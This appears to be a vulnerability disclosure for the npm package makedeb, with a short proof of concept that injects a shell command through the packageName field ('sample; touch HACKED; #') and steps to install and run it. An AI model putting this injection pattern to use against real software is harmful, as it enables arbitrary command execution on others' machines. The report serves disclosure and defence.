The makedeb module is vulnerable against RCE since a command is crafted using user inputs not validated and then executed, leading to arbitrary command injection


  1. Create the following PoC file:
// poc.js
var makedeb = require('makedeb');
makedeb({ packageName: 'sample; touch HACKED; #', version: '1.2.3', 'buildDir':'.', 'installPath':process.cwd()});

  1. Check there aren't files called HACKED
  2. Execute the following commands in another terminal:
npm i makedeb # Install affected module
node poc.js #  Run the PoC
  1. Recheck the files: now HACKED has been created
